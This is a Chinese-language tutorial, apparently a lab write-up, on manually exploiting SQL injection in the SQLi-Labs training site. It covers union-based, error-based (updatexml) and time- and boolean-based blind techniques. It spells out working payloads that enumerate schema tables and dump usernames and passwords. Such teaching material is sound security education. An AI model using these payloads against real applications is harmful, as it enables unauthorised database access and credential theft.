SQL注入漏洞手工验证综合实战

本实验基于 SQLi-Labs 靶场,通过手工注入的方式,详细演示联合查询注入、报错注入及盲注三大核心技术的完整利用过程。

实验环境

  • 靶场: 本地部署的 SQLi-Labs (PHP 5.5.38 + MySQL)
  • 工具: 浏览器、Hackbar 插件(可选)

一、联合查询注入(Union-based)

以 SQLi-Labs Less-1 为例(单引号字符型注入,有回显)。

1. 注入点与列数判断

  • 访问 ?id=1',页面报错,说明存在注入点且为单引号闭合。
  • 利用 order by 探测列数:
    • ?id=1' order by 3 --+ (正常显示)
    • ?id=1' order by 4 --+ (报错)
    • 结论: 当前表有 3 个字段。

2. 定位回显位并获取系统信息

  • 构造负数ID使原查询为空,暴露回显位:
    ?id=-1' union select 1,2,3 --+ (页面显示数字2和3)
  • 替换为系统函数:
    ?id=-1' union select 1,database(),version() --+ (获取到数据库名为 security

3. 利用 information_schema 脱库

  • 获取所有表名:
    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
    (发现敏感表 users
  • 获取 users 表的所有列名:
    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    (发现列 usernamepassword
  • 提取具体数据:
    ?id=-1' union select 1,group_concat(username,':',password),3 from users --+

二、报错注入(Error-based)

适用于页面不回显查询结果,但会输出数据库错误信息的场景。

1. 触发报错与环境探测

  • 访问 ?id=1' 报错,但 ?id=1' order by 3 --+ 无回显。
  • 构造 updatexml() 函数报错:
    ?id=-1' and updatexml(1, concat(0x7e, database(), 0x7e), 1) --+
    • 说明: 0x7e 是波浪号 ~ 的十六进制。由于 ~ 不是有效的 XPath 路径起始符,MySQL 报错:XPATH syntax error: '~security~'

2. 逐行提取数据

报错注入通常一次只能显示一行数据,需配合 limit 逐个查看。

  • 获取表名(第一张表):
    ?id=-1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='security' limit 0,1), 0x7e), 1) --+
  • 获取密码(第一条记录):
    ?id=-1' and updatexml(1, concat(0x7e, (select password from users limit 0,1), 0x7e), 1) --+

三、盲注实战(Blind Injection)

适用于页面既无数据回显,也无错误信息的情况。

1. 时间盲注(Time-based)

利用 sleep() 函数测试。

  • 判断注入点:?id=1' and if(1=1, sleep(5), 1) --+ (若页面延迟5秒加载,则存在时间盲注)
  • 猜解数据库名长度:?id=1' and if(length((select database()))=8, sleep(5), 1) --+
  • 逐位猜解字符:?id=1' and if(left((select database()),1)='s', sleep(5), 1) --+

2. 布尔盲注(Boolean-based)

通过页面正常与异常的状态差异进行判断。

  • ?id=1' and length(database())=8 --+ (页面显示 “You are in” 代表 True)
  • ?id=1' and left(database(),1)>'s' --+ (利用二分法配合 ASCII 码转换加速猜解过程)

手工注入是理解SQL注入原理的必经之路,掌握上述三大手法后,方能更熟练地使用 Sqlmap 等自动化工具并编写绕过 WAF 的 Tamper 脚本。